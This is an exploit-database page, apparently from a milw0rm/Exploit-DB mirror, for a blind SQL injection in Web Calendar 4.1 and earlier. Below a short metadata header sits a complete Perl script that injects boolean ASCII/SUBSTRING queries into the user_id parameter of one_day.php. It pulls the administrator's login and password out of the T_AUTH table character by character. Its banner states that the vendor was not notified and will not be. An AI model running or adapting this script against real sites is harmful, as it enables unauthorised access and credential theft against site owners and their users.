header-logo
Suggest Exploit
vendor:
Web Calendar
by:
t0pP8uZz
7.5
CVSS
HIGH
Blind SQL Injection
89
CWE
Product Name: Web Calendar
Affected Version From: Web Calendar <= 4.1
Affected Version To: Web Calendar <= 4.1
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: ActivePerl
2008

Web Calendar <= 4.1 Blind SQL Injection Exploit

Web Calendar suffers from a insecure mysql query which allows an attacker to inject malicious SQL queries and gain access to sensitive information such as login credentials. This exploit was discovered and coded by t0pP8uZz on 24 April 2008 and tested in ActivePerl.

Mitigation:

The vendor has not been notified and no patch exists for this vulnerability.
Source

Exploit-DB raw data:

#!/usr/bin/perl

use strict;
use LWP::Simple;

print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+-\n";
print "-+--                                                   --+-\n";
print "-+--           Discovered && Coded By t0pP8uZz         --+-\n";
print "-+--             Discovered On: 24 April 2008          --+-\n";
print "-+--                                                   --+-\n";
print "-+-- Web Calendar suffers from a insecure mysql query  --+-\n";
print "-+--  the vendor has not been notified.. and wont be.. --+-\n";
print "-+--                                                   --+-\n";
print "-+--          Exploit tested in ActivePerl             --+-\n";
print "-+--                                                   --+-\n";
print "-+--[ Web Calendar <= 4.1 Blind SQL Injection Exploit ]--+-\n";

print "\nEnter URL (ie: http://site.com/webcal/): ";
	chomp(my $url=<STDIN>);
	
print "\n\nInjecting Please Wait..\n\n"
	
my $lop = 1;
my $num = 48;
my $sub = 1;
my $res = undef;
my $content = undef;

while($lop) {

	$content = get($url."/one_day.php?user_id=1 AND ASCII(SUBSTRING((SELECT CONCAT(login,char(58),password,char(94)) FROM T_AUTH WHERE role_id=1 LIMIT 0,1),".$sub.",1))=".$num."/*");
	
	if($content !~ /you are not in database/i && $num == 94) { $lop = 0; }
	elsif($content !~ /you are not in database/i) { $res .= chr($num); $num = 48; $sub++; print $res."\n"; }
	else { $num++; }
}

print "\nExploit Successfull! Admin Details Are: ".$res;

# Coded by t0pP8uZz

# milw0rm.com [2008-04-22]